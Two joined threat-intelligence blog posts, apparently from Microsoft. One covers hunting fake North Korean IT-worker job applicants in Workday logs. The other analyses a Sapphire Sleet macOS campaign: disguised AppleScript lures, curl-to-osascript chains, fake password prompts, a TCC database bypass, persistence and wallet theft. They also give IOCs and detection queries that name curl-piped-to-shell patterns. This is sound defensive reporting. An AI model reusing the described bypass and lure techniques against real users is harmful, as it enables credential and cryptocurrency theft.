The shift to remote and hybrid work since the pandemic expanded global hiring and accelerated digital onboarding, increasing reliance on online identity verification and remote access. Threat actors such as Jasper Sleet, a North Korea-aligned threat actor, exploit this model by posing as legitimate hires using stolen or fabricated identities and AI-assisted deception to gain trusted access, generate revenue, and in some cases enable data theft, extortion, or follow-on compromise.

In the initial job-discovery phase, these fraudulent applicants posing as remote IT workers systematically survey organization career sites and external hiring portals to identify active technical roles and recruitment workflows. A previously published Microsoft Threat Intelligence blog highlights how these actors use generative AI at scale to analyze job postings and extract role‑specific language, required skills, certifications, and tooling expectations. They then use those insights to construct tailored fake digital personas and submit highly convincing job applications, increasing their likelihood of passing screening and entering legitimate hiring pipelines, and even onboarding once hired into the targeted roles successfully.

Organizations using common and widely adopted human resources (HR) software as a service (SaaS) platforms like Workday often expose their job postings through external career sites for applicants to submit job applications. These job listing sites are often targeted by this threat actor to find open job roles. While this activity might be hard to detect from usual job hunting behavior, knowing the threat actor’s interests and objectives to infiltrate into the target organization might present an opportunity for defenders to look for anomalous patterns in a hiring candidate’s behaviors by leveraging the access to the right telemetry and available threat actor intelligence being published.

While these activities could happen on any HR SaaS platform, this blog focuses on Workday as an example due to its widespread adoption and rich event logs, which are useful for hunting and detection, that are available to customers. The discussion highlights how customers using Microsoft Defender for Cloud Apps can monitor and detect fraudulent remote IT worker activity in pre-recruitment and post-recruitment phases, offering guidance on threat hunting and relevant threat detection strategies to help security and HR teams surface suspicious candidates early and detect risky onboarding activity after hire.

Attack chain overview

In the observed campaigns, the threat actors leverage routine HR workflows like external-facing career sites with open job postings to help with their job search and application process. Once they’re successfully contacted, interviewed, and hired, they complete typical new-hire onboarding formalities like setting up payroll accounts, which are also through the HR SaaS platform like Workday.

Activities in pre-recruitment phase

In the pre-recruitment phase, Microsoft has observed Jasper Sleet accessing Workday Recruiting Web Service endpoints exposed through external career sites from known actor infrastructure and email accounts, indicating a discovery phase of open roles and recruitment workflows.

Workday lets organizations use internal, non-public APIs such as Recruiting Web Service to allow programmatic access to apply for jobs in these organizations. These APIs are used to connect to external career sites involved in talent management and applicant tracking systems and allow applicants to browse and apply for open job roles. To access these APIs, an organization has to allow setting up of OAuth clients and associated OAuth tokens, and expose the APIs so that the organization’s external career sites can use them.

Microsoft has observed API call events coming from known Jasper Sleet infrastructure in Workday telemetry to hrrecruiting/* API endpoints. These events access information about job postings, applications, and related questionnaires, and to submit job applications and questionnaires.

Some common API calls being made by the threat actor’s activity when using the Workday portal include the following:

• hrrecruiting/accounts/*
• hrrecruiting/jobApplicationPackages/*
• hrrecruiting/validateJobApplication/*
• hrrecruiting/resumes/*

It’s important to note here that these API calls could also be made by legitimate job applicants. However, Microsoft has observed the Jasper Sleet threat actor using multiple external accounts suspiciously to access the same set of API calls in a consistent, repeating pattern, as shown in Figure 2, indicating a possible job discovery phase activity on open job roles and following up on job applications submitted. This anomaly sets the threat actor behavior apart from legitimate job applicants.

Defender for Cloud Apps’ Workday connector enables organizations to view and track API activity to their /hrrecruiting endpoints. The connector also lets them identify external accounts and their corresponding infrastructure metadata. Organizations can match this information against any available threat intelligence feeds on Jasper Sleet so they can identify fraudulent applications early in the recruiting process.

Activities in recruiting phase

In the recruiting phase, signals outside of Workday could help with investigation of threat actor behavior. The threat actor communicates with the target organization’s hiring team using emails and meeting conferencing platforms like Microsoft Teams, Zoom, or Cisco Webex for scheduling interviews. Using advanced hunting tables in Microsoft Defender, organizations can track suspicious communications (for example, email and Teams messages with external accounts originating from suspicious IP addresses or email addresses that could possibly be associated with the threat actor) and raise a red flag early in the hiring process. Additionally, organizations that use Zoom or Cisco Webex must leverage Defender for Cloud Apps’ Zoom or Cisco Webex connectors to detect malicious external accounts in the interviewing process.

Organizations can also leverage Defender for Cloud Apps’ DocuSign connector, which enables them to monitor activity related to hiring documentation, like offer letter signing from suspicious external sources.

Activities in post-recruitment phase

When Jasper Sleet is hired for a role in the organization, a legitimate account is created and assigned to them as part of the onboarding process. In organizations that use HR workflows in Workday for onboarding new hires, we’ve observed sign-ins to the newly created Workday profile and setting up of payroll details originating from known Jasper Sleet infrastructure.

The threat actor now has legitimate access to organization data, and they can access internal SaaS applications like Teams, SharePoint, OneDrive, and Exchange Online. Hence, it’s important to investigate any alerts associated with new hire accounts, especially alerts that are related to access to organization data from different locations and anonymous proxies performing search and downloads on Microsoft 365 suite or other third-party SaaS applications. Microsoft has observed a spike in impossible travel alerts for such new hires, indicating suspicious remote IT worker behavior in the initial months of onboarding.

Mitigation and protection guidance

Microsoft recommends leveraging access to telemetry coming from multiple data sources and monitoring behavioral anomalies in hiring candidates as part of background verification in HR recruitment processes. Organizations can also leverage threat intelligence as an aid, when available, to strengthen confidence in these anomalies.

These recommendations draw from established Defender blog guidance patterns and align with protections offered across Microsoft Defender XDR. 

Organizations can follow these recommendations to mitigate threats associated with this threat actor:      

Enable connectors in Microsoft Defender for Cloud Apps to gain visibility and track activity from external user accounts associated with fraudulent candidates. Investigate events of both external users and newly hired internal users originating from malicious infrastructure. For more information, see the following articles in Microsoft Learn:

• How Defender for Cloud Apps helps protect your Workday environment
• How Defender for Cloud Apps helps protect your DocuSign environment
• How Defender for Cloud Apps helps protect your Cisco Webex environment
• Connect Zoom to Microsoft Defender for Cloud Apps (Preview)

Educate users on social engineering. Train employees to recognize suspicious behaviors during hiring process and in new hires. For more information on the threat actor behavior, read this blog: Jasper Sleet: North Korean remote IT workers’ evolving tactics to infiltrate organizations

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Actor profile: Jasper Sleet

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR customers can run the following queries to find related activity to any suspicious indicators in their networks:

Access to Workday Recruiting Web Service API by external users

let api_endpoint_regex = 'hrrecruiting/*';
CloudAppEvents
| where Application == 'Workday'
| where IsExternalUser
| where ActionType matches regex api_endpoint_regex
| where IPAddress in (<​suspiciousips>) or AccountId in (<​suspicious_emailids>);
| summarize make_set(ActionType) by AccountId, IPAddress, bin(Timestamp, 1d)

Emails and Teams communications related to interviews

//Email communications

EmailEvents 
| where SenderMailFromAddress == "<​suspicious_emailids>" or RecipientEmailAddress == "<​suspicious_emailids>"
| where Subject has "Interview"
| project Timestamp, SenderMailFromAddress, SenderDisplayName, SenderIPv4, SenderIPv6, RecipientEmailAddress, Subject, DeliveryAction, DeliveryLocation

EmailEvents 
| where SenderIPv4 == "<​suspiciousIPs>" or SenderIPv6 == "<​ suspiciousIPs>"
| where Subject has "Interview"
| project Timestamp, SenderMailFromAddress, SenderDisplayName, SenderIPv4, SenderIPv6, RecipientEmailAddress, Subject, DeliveryAction, DeliveryLocation

//Microsoft Teams communications

CloudAppEvents
| where Application == "Microsoft Teams"
| where IsExternalUser
| where AccountId == "<​suspicious_emailids>" or AccountDisplayName == "<​suspicious_emailids>"
| summarize make_set(ActionType) by IPAddress, AccountId, bin(Timestamp, 1d)

CloudAppEvents
| where Application == "Microsoft Teams"
| where IsExternalUser
| where IPAddress == "<​suspiciousIPs​>" 
| summarize make_set(ActionType) by IPAddress, AccountId, bin(Timestamp, 1d)

//Zoom or Cisco Webex communication events after enabling the Microsoft Defender for Cloud apps connectors

CloudAppEvents
| where Application == "Zoom"
| where IsExternalUser
| where IPAddress == "<​suspiciousIP​s>" 
| summarize make_set(ActionType) by IPAddress, AccountId, bin(Timestamp, 1d)

CloudAppEvents
| where Application == "Cisco Webex"
| where IsExternalUser
| where IPAddress == "<​suspiciousIPs​>"
| summarize make_set(ActionType) by IPAddress, AccountId, bin(Timestamp, 1d)

Hiring phase involving accessing and signing of agreements through DocuSign

CloudAppEvents
| where Application == "DocuSign"
| where IsExternalUser
| where ActionType == "ENVELOPE SIGNED"
| where IPAddress in ("<​suspiciousIPs>") or AccountId == "<​suspicious_emailids>"

New hire onboarding and payroll activities originating from known Jasper Sleet infrastructure

CloudAppEvents
| where Application == "Workday"
| where AccountId == "<​NewHireWorkdayId>"
| where ActionType has_any ("Add", "Change", "Assign", "Create", "Modify") and ActionType has_any ("Account", "Bank", "Payment", "Tax")
| where IPAddress in ("<​suspiciousIPs>")
| summarize make_set(ActionType) by IPAddress, bin(Timestamp, 1d)

References

• Jasper Sleet: North Korean remote IT workers’ evolving tactics to infiltrate organizations | Microsoft Security Blog
• AI as tradecraft: How threat actors operationalize AI | Microsoft Security Blog

This research is provided by Microsoft Defender Security Research with contributions from  members of Microsoft Threat Intelligence.

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The post Detection strategies across cloud and identities against infiltrating IT workers appeared first on Microsoft Security Blog.

The post Beyond Gatekeeper: How Sapphire Sleet’s AppleScript Trap Hijacks macOS and Crypto Wallets appeared first on Daily CyberSecurity.

Executive summary

Microsoft Threat Intelligence uncovered a macOS‑focused cyber campaign by the North Korean threat actor Sapphire Sleet that relies on social engineering rather than software vulnerabilities. By impersonating a legitimate software update, threat actors tricked users into manually running malicious files, allowing them to steal passwords, cryptocurrency assets, and personal data while avoiding built‑in macOS security checks. This activity highlights how convincing user prompts and trusted system tools can be abused, and why awareness and layered security defenses remain critical.

Microsoft Threat Intelligence identified a campaign by North Korean state actor Sapphire Sleet demonstrating new combinations of macOS-focused execution patterns and techniques, enabling the threat actor to compromise systems through social engineering rather than software exploitation. In this campaign, Sapphire Sleet takes advantage of user‑initiated execution to establish persistence, harvest credentials, and exfiltrate sensitive data while operating outside traditional macOS security enforcement boundaries. While the techniques themselves are not novel, this analysis highlights execution patterns and combinations that Microsoft has not previously observed for this threat actor, including how Sapphire Sleet orchestrates these techniques together and uses AppleScript as a dedicated, late‑stage credential‑harvesting component integrated with decoy update workflows.

After discovering the threat, Microsoft shared details of this activity with Apple as part of our responsible disclosure process. Apple has since implemented updates to help detect and block infrastructure and malware associated with this campaign. We thank the Apple security team for their collaboration in addressing this activity and encourage macOS users to keep their devices up to date with the latest security protections.

This activity demonstrates how threat actors continue to rely on user interaction and trusted system utilities to bypass macOS platform security protections, rather than exploiting traditional software vulnerabilities. By persuading users to manually execute AppleScript or Terminal‑based commands, Sapphire Sleet shifts execution into a user‑initiated context, allowing the activity to proceed outside of macOS protections such as Transparency, Consent, and Control (TCC), Gatekeeper, quarantine enforcement, and notarization checks. Sapphire Sleet achieves a highly reliable infection chain that lowers operational friction and increases the likelihood of successful compromise—posing an elevated risk to organizations and individuals involved in cryptocurrency, digital assets, finance, and similar high‑value targets that Sapphire Sleet is known to target.

In this blog, we examine the macOS‑specific attack chain observed in recent Sapphire Sleet intrusions, from initial access using malicious .scpt files through multi-stage payload delivery, credential harvesting using fake system dialogs, manipulation of the macOS TCC database, persistence using launch daemons, and large-scale data exfiltration. We also provide actionable guidance, Microsoft Defender detections, hunting queries, and indicators of compromise (IOCs) to help defenders identify similar threats and strengthen macOS security posture.

Sapphire Sleet’s campaign lifecycle

Initial access and social engineering

Sapphire Sleet is a North Korean state actor active since at least March 2020 that primarily targets the finance sector, including cryptocurrency, venture capital, and blockchain organizations. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.

Sapphire Sleet operates a well‑documented social engineering playbook in which the threat actor creates fake recruiter profiles on social media and professional networking platforms, engages targets in conversations about job opportunities, schedules a technical interview, and directs targets to install malicious software, which is typically disguised as a video conferencing tool or software developer kit (SDK) update.

In this observed activity, the target was directed to download a file called Zoom SDK Update.scpt—a compiled AppleScript that opens in macOS Script Editor by default. Script Editor is a trusted first-party Apple application capable of executing arbitrary shell commands using the do shell script AppleScript command.

Lure file and Script Editor execution

The malicious Zoom SDK Update.scpt file is crafted to appear as a legitimate Zoom SDK update when opened in the macOS Script Editor app, beginning with a large decoy comment block that mimics benign upgrade instructions and gives the impression of a routine software update. To conceal its true behavior, the script inserts thousands of blank lines immediately after this visible content, pushing the malicious logic far below the scrollable view of the Script Editor window and reducing the likelihood that a user will notice it.

Hidden beneath this decoy, the script first launches a harmless looking command that invokes the legitimate macOS softwareupdate binary with an invalid parameter, an action that performs no real update but launches a trusted Apple‑signed process to reinforce the appearance of legitimacy. Following this, the script executes its malicious payload by using curl to retrieve threat actor‑controlled content and immediately passes the returned data to osascript for execution using the run script result instruction. Because the content fetched by curl is itself a new AppleScript, it is launched directly within the Script Editor context, initiating a payload delivery in which additional stages are dynamically downloaded and executed.

Execution and payload delivery

Cascading curl-to-osascript execution

When the user opens the Zoom SDK Update.scpt file, macOS launches the file in Script Editor, allowing Sapphire Sleet to transition from a single lure file to a multi-stage, dynamically fetched payload chain. From this single process, the entire attack unfolds through a cascading chain of curl commands, each fetching and executing progressively more complex AppleScript payloads. Each stage uses a distinct user-agent string as a campaign tracking identifier.

The main payload fetched by the mac-cur1 user agent is the attack orchestrator. Once executed within the Script Editor, it performs immediate reconnaissance, then kicks off parallel operations using additional curl commands with different user-agent strings.

Note the URL path difference: mac-cur1 through mac-cur3 fetch from /version/ (AppleScript payloads piped directly to osascript for execution), while mac-cur4 and mac-cur5 fetch from /status/ (ZIP archives containing compiled macOS .app bundles).

The following table summarizes the curl chain used in this campaign.

Reconnaissance and C2 registration

After execution, the malware next identifies and registers the compromised device with Sapphire Sleet infrastructure. The malware starts by collecting basic system details such as the current user, host name, system time, and operating system install date. This information is used to uniquely identify the compromised device and track subsequent activity.

The malware then registers the compromised system with its command‑and‑control (C2) infrastructure. The mid value represents the device’s universally unique identifier (UUID), the did serves as a campaign‑level tracking identifier, and the user field combines the system host name with the device serial number to uniquely label the targeted user.

Host monitoring component: com.apple.cli

The first binary deployed is a host monitoring component called com.apple.cli—a ~5 MB Mach-O binary disguised with an Apple-style naming convention.

The mac-cur1 payload spawns an osascript that downloads and launches com.apple.cli:

The host monitoring component repeatedly executes a series of system commands to collect environment and runtime information, including the macOS version (sw_vers), the current system time (date -u), and the underlying hardware model (sysctl hw.model). It then runs ps aux in a tight loop to capture a full, real‑time list of running processes.

During execution, com.apple.cli performs host reconnaissance while maintaining repeated outbound connectivity to the threat actor‑controlled C2 endpoint 83.136.208[.]246:6783. The observed sequencing of reconnaissance activity and network communication is consistent with staging for later operational activity, including privilege escalation, and exfiltration.

In parallel with deploying com.apple.cli, the mac-cur1 orchestrator also deploys a second component, the services backdoor, as part of the same execution flow; its role in persistence and follow‑on activity is described later in this blog.

Credential access

Credential harvester: systemupdate.app

After performing reconnaissance, the mac-cur1 orchestrator begins parallel operations. During the mac‑cur2 stage of execution (independent from the mac-cur1 stage), Sapphire Sleet delivers an AppleScript payload that is executed through osascript. This stage is responsible for deploying the credential harvesting component of the attack.

Before proceeding, the script checks for the presence of a file named .zoom.log on the system. This file acts as an infection marker, allowing Sapphire Sleet to determine whether the device has already been compromised. If the marker exists, deployment is skipped to avoid redundant execution across sessions.

If the infection marker is not found, the script downloads a compressed archive through the mac-cur4 user agent that contains a malicious macOS application named (systemupdate.app), which masquerades as the legitimate system update utility by the same name. The archive is extracted to a temporary location, and the application is launched immediately.

When systemupdate.app launches, the user is presented with a native macOS password dialog that is visually indistinguishable from a legitimate system prompt. The dialog claims that the user’s password is required to complete a software update, prompting the user to enter their credentials.

After the user enters their password, the malware performs two sequential actions to ensure the credential is usable and immediately captured. First, the binary validates the entered password against the local macOS authentication database using directory services, confirming that the credential is correct and not mistyped. Once validation succeeds, the verified password is immediately exfiltrated to threat actor‑controlled infrastructure using the Telegram Bot API, delivering the stolen credential directly to Sapphire Sleet.

Decoy completion prompt: softwareupdate.app

After credential harvesting is completed using systemupdate.app, Sapphire Sleet deploys a second malicious application named softwareupdate.app, whose sole purpose is to reinforce the illusion of a legitimate update workflow. This application is delivered during a later stage of the attack using the mac‑cur5 user‑agent. Unlike systemupdate.app, softwareupdate.app does not attempt to collect credentials. Instead, it displays a convincing “system update complete” dialog to the user, signaling that the supposed Zoom SDK update has finished successfully. This final step closes the social engineering loop: the user initiated a Zoom‑themed update, was prompted to enter their password, and is now reassured that the process completed as expected, reducing the likelihood of suspicion or further investigation.

Persistence

Primary backdoor and persistence installer: services binary

The services backdoor is a key operational component in this attack, acting as the primary backdoor and persistence installer. It provides an interactive command execution channel, establishes persistence using a launch daemon, and deploys two additional backdoors. The services backdoor is deployed through a dedicated AppleScript executed as part of the initial mac‑cur1 payload that also deployed com.apple.cli, although the additional backdoors deployed by services are executed at a later stage.

During deployment, the services backdoor binary is first downloaded using a hidden file name (.services) to reduce visibility, then copied to its final location before the temporary file is removed. As part of installation, the malware creates a file named auth.db under ~/Library/Application Support/Authorization/, which stores the path to the deployed services backdoor and serves as a persistent installation marker. Any execution or runtime errors encountered during this process are written to /tmp/lg4err, leaving behind an additional forensic artifact that can aid post‑compromise investigation.

Unlike com.apple.cli, the services backdoor uses interactive zsh shells (/bin/zsh -i) to execute privileged operations. The -i flag creates an interactive terminal context, which is required for sudo commands that expect interactive input.

Additional backdoors: icloudz and com.google.chromes.updaters

Of the additional backdoors deployed by services, the icloudz backdoor is a renamed copy of the previously deployed services backdoor and shares the same SHA‑256 hash, indicating identical underlying code. Despite this, it is executed using a different and more evasive technique. Although icloudz shares the same binary as .services, it operates as a reflective code loader—it uses the macOS NSCreateObjectFileImageFromMemory API to load additional payloads received from its C2 infrastructure directly into memory, rather than writing them to disk and executing them conventionally.

The icloudz backdoor is stored at ~/Library/Application Support/iCloud/icloudz, a location and naming choice intended to resemble legitimate iCloud‑related artifacts. Once loaded into memory, two distinct execution waves are observed. Each wave independently initializes a consistent sequence of system commands: existing caffeinate processes are stopped, caffeinate is relaunched using nohup to prevent the system from sleeping, basic system information is collected using sw_vers and sysctl -n hw.model, and an interactive /bin/zsh -i shell is spawned. This repeated initialization suggests that the component is designed to re‑establish execution context reliably across runs.

From within the interactive zsh shell, icloudz deploys an additional (tertiary) backdoor, com.google.chromes.updaters, to disk at ~/Library/Google/com.google.chromes.updaters. The selected directory and file name closely resemble legitimate Google application data, helping the file blend into the user’s Home directory and reducing the likelihood of casual inspection. File permissions are adjusted; ownership is set to allow execution with elevated privileges, and the com.google.chromes.updaters binary is launched using sudo.

To ensure continued execution across reboots, a launch daemon configuration file named com.google.webkit.service.plist is installed under /Library/LaunchDaemons. This configuration causes icloudz to launch automatically at system startup, even if no user is signed in. The naming convention deliberately mimics legitimate Apple and Google system services, further reducing the chance of detection.

The com.google.chromes.updaters backdoor is the final and largest component deployed in this attack chain, with a size of approximately 7.2 MB. Once running, it establishes outbound communication with threat actor‑controlled infrastructure, connecting to the domain check02id[.]com over port 5202. The process then enters a precise 60‑second beaconing loop. During each cycle, it executes minimal commands such as whoami to confirm the execution context and sw_vers -productVersion to report the operating system version. This lightweight heartbeat confirms the process remains active, is running with elevated privileges, and is ready to receive further instructions.

Privilege escalation

TCC bypass: Granting AppleEvents permissions

Before large‑scale data access and exfiltration can proceed, Sapphire Sleet must bypass macOS TCC protections. TCC enforces user consent for sensitive inter‑process interactions, including AppleEvents, the mechanism required for osascript to communicate with Finder and perform file-level operations. The mac-cur3 stage silently grants itself these permissions by directly manipulating the user-level TCC database through the following sequence.

The user-level TCC database (~/Library/Application Support/com.apple.TCC/TCC.db) is itself TCC-protected—processes without Full Disk Access (FDA) cannot read or modify it. Sapphire Sleet circumvents this by directing Finder, which holds FDA by default on macOS,  to rename the com.apple.TCC folder. Once renamed, the TCC database file can be copied to a staging location by a process without FDA.

Sapphire Sleet then uses sqlite3 to inject a new entry into the database’s access table. This entry grants /usr/bin/osascript permission to send AppleEvents to com.apple.finder and includes valid code-signing requirement (csreq) blobs for both binaries, binding the grant to Apple-signed executables. The authorization value is set to allowed (auth_value=2) with a user-set reason (auth_reason=3), ensuring no user prompt is triggered. The modified database is then copied back into the renamed folder, and Finder restores the folder to its original name. Staging files are deleted to reduce forensic traces.

Collection and exfiltration

With TCC bypassed, credentials stolen, and backdoors deployed, Sapphire Sleet launches the next phase of attack: a 575-line AppleScript payload that systematically collects, stages, compresses, and exfiltrates seven categories of data.

Exfiltration architecture

Every upload follows a consistent pattern and is executed using nohup, which allows the command to continue running in the background even if the initiating process or Terminal session exits. This ensures that data exfiltration can complete reliably without requiring the threat actor to maintain an active session on the system.

The auth header provides the upload authorization token, and the mid header ties the upload to the compromised device’s UUID.

Data collected during exfiltration

• Host and system reconnaissance: Before bulk data collection begins, the script records basic system identity and hardware information. This includes the current username, system host name, macOS version, and CPU model. These values are appended to a per‑host log file and provide Sapphire Sleet with environmental context, hardware fingerprinting, and confirmation of the target system’s characteristics. This reconnaissance data is later uploaded to track progress and correlate subsequent exfiltration stages to a specific device.
• Installed applications and runtime verification: The script enumerates installed applications and shared directories to build an inventory of the system’s software environment. It also captures a live process listing filtered for threat actor‑deployed components, allowing Sapphire Sleet to verify that earlier payloads are still running as expected. These checks help confirm successful execution and persistence before proceeding further.
• Messaging session data (Telegram): Telegram Desktop session data is collected by copying the application’s data directories, including cryptographic key material and session mapping files. These artifacts are sufficient to recreate the user’s Telegram session on another system without requiring reauthentication. A second collection pass targets the Telegram App Group container to capture the complete local data set associated with the application.
• Browser data and extension storage: For Chromium‑based browsers, including Chrome, Brave, and Arc, the script copies browser profiles and associated databases. This includes saved credentials, cookies, autofill data, browsing history, bookmarks, and extension‑specific storage. Particular focus is placed on IndexedDB entries associated with cryptocurrency wallet extensions, where wallet keys and transaction data are stored. Only IndexedDB entries matching a targeted set of wallet extension identifiers are collected, reflecting a deliberate and selective approach.
• macOS keychain: The user’s sign-in keychain database is bundled alongside browser data. Although the keychain is encrypted, Sapphire Sleet has already captured the user’s password earlier in the attack chain, enabling offline decryption of stored secrets once exfiltrated.
• Cryptocurrency desktop wallets: The script copies the full application support directories for popular cryptocurrency desktop wallets, including Ledger Live and Exodus. These directories contain wallet configuration files and key material required to access stored cryptocurrency assets, making them high‑value targets for exfiltration.
• SSH keys and shell history: SSH key directories and shell history files are collected to enable potential lateral movement and intelligence gathering. SSH keys may provide access to additional systems, while shell history can reveal infrastructure details, previously accessed hosts, and operational habits of the targeted user.
• Apple Notes: The Apple Notes database is copied from its application container and staged for upload. Notes frequently contain sensitive information such as passwords, internal documentation, infrastructure details, or meeting notes, making them a valuable secondary data source.
• System logs and failed access attempts: System log files are uploaded directly without compression. These logs provide additional hardware and execution context and include progress markers that indicate which exfiltration stages have completed. Failed collection attempts—such as access to password manager containers that are not present on the system—are also recorded and uploaded, allowing Sapphire Sleet to understand which targets were unavailable on the compromised host.

Exfiltration summary

All uploads use the upload authorization token fwyan48umt1vimwqcqvhdd9u72a7qysi and the machine identifier 82cf5d92-87b5-4144-9a4e-6b58b714d599.

Defending against Sapphire Sleet intrusion activity

As part of a coordinated response to this activity, Apple has implemented platform-level protections to help detect and block infrastructure and malware associated with this campaign. Apple has deployed Apple Safe Browsing protections in Safari to detect and block malicious infrastructure associated with this campaign. Users browsing with Safari benefit from these protections by default. Apple has also deployed XProtect signatures to detect and block the malware families associated with this campaign—macOS devices receive these signature updates automatically.

Microsoft recommends the following mitigation steps to defend against this activity and reduce the impact of this threat:

• Educate users about social engineering threats originating from social media and external platforms, particularly unsolicited outreach requesting software downloads, virtual meeting tool installations, or execution of terminal commands. Users should never run scripts or commands shared through messages, calls, or chats without prior approval from their IT or security teams.
• Block or restrict the execution of .scpt (compiled AppleScript) files and unsigned Mach-O binaries downloaded from the internet. Where feasible, enforce policies that prevent osascript from executing scripts sourced from external locations.
• Always inspect and verify files downloaded from external sources, including compiled AppleScript (.scpt) files. These files can execute arbitrary shell commands via macOS Script Editor—a trusted first-party Apple application—making them an effective and stealthy initial access vector.
• Limit or audit the use of curl piped to interpreters (such as curl | osascript, curl | sh, curl | bash). Social engineering campaigns by Sapphire Sleet rely on cascading curl-to-interpreter chains to avoid writing payloads to disk. Organizations should monitor for and restrict piped execution patterns originating from non-standard user-agent strings.
• Exercise caution when copying and pasting sensitive data such as wallet addresses or credentials from the clipboard. Always verify that the pasted content matches the intended source to avoid falling victim to clipboard hijacking or data tampering attacks.
• Monitor for unauthorized modifications to the macOS TCC database. This campaign manipulates TCC.db to grant AppleEvents permissions to osascript without user consent—a prerequisite for the large-scale data exfiltration phase. Look for processes copying, modifying, or overwriting ~/Library/Application Support/com.apple.TCC/TCC.db.
• Audit LaunchDaemon and LaunchAgent installations. This campaign installs a persistent launch daemon (com.google.webkit.service.plist) that masquerades as a legitimate Google or Apple service. Monitor /Library/LaunchDaemons/ and ~/Library/LaunchAgents/ for unexpected plist files, particularly those with com.google.* or com.apple.* naming conventions not belonging to genuine vendor software.
• Protect cryptocurrency wallets and browser credential stores. This campaign targets nine specific crypto wallet extensions (Sui, Phantom, TronLink, Coinbase, OKX, Solflare, Rabby, Backpack) plus Bitwarden, and exfiltrates browser sign-in data, cookies, and keychain databases. Organizations handling digital assets should enforce hardware wallet policies and rotate browser-stored credentials regularly.
• Encourage users to use web browsers that support Microsoft Defender SmartScreen like Microsoft Edge—available on macOS and various platforms—which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware.

Microsoft Defender for Endpoint customers can also apply the following mitigations to reduce the environmental attack surface and mitigate the impact of this threat and its payloads:

• Use Microsoft Defender for Endpoint on Mac, which detects, stops, and quarantines the malware discussed in this blog.
• Turn on cloud-delivered protection and automatic sample submission on Microsoft Defender Antivirus. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats.
• Enable potentially unwanted application (PUA) protection in block mode to automatically quarantine PUAs like adware. PUA blocking takes effect on endpoint clients after the next signature update or computer restart.
• Turn on network protection to block connections to malicious domains and IP addresses.

Microsoft Defender detection and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Actor Profile: Sapphire Sleet

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Suspicious osascript execution with curl piping

Search for curl commands piping output directly to osascript, a core technique in this Sapphire Sleet campaign’s cascading payload delivery chain.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FileName == "osascript" or InitiatingProcessFileName == "osascript"
 | where ProcessCommandLine has "curl" and ProcessCommandLine has_any ("osascript", "| sh", "| bash")
 | project Timestamp, DeviceId, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine, InitiatingProcessFileName

Suspicious curl activity with campaign user-agent strings

Search for curl commands using user-agent strings matching the Sapphire Sleet campaign tracking identifiers (mac-cur1 through mac-cur5, audio, beacon).

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FileName == "curl" or ProcessCommandLine has "curl"
 | where ProcessCommandLine has_any ("mac-cur1", "mac-cur2", "mac-cur3", "mac-cur4", "mac-cur5", "-A audio", "-A beacon")
 | project Timestamp, DeviceId, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Detect connectivity with known C2 infrastructure

Search for network connections to the Sapphire Sleet C2 domains and IP addresses used in this campaign.

let c2_domains = dynamic(["uw04webzoom.us", "uw05webzoom.us", "uw03webzoom.us", "ur01webzoom.us", "uv01webzoom.us", "uv03webzoom.us", "uv04webzoom.us", "ux06webzoom.us", "check02id.com"]);
 let c2_ips = dynamic(["188.227.196.252", "83.136.208.246", "83.136.209.22", "83.136.208.48", "83.136.210.180", "104.145.210.107"]);
 DeviceNetworkEvents
 | where Timestamp > ago(30d)
 | where RemoteUrl has_any (c2_domains) or RemoteIP in (c2_ips)
 | project Timestamp, DeviceId, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine

TCC database manipulation detection

Search for processes that copy, modify, or overwrite the macOS TCC database, a key defense evasion technique used by this campaign to grant unauthorized AppleEvents permissions.

DeviceFileEvents
 | where Timestamp > ago(30d)
 | where FolderPath has "com.apple.TCC" and FileName == "TCC.db"
 | where ActionType in ("FileCreated", "FileModified", "FileRenamed")
 | project Timestamp, DeviceId, DeviceName, ActionType, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine

Suspicious LaunchDaemon creation masquerading as legitimate services

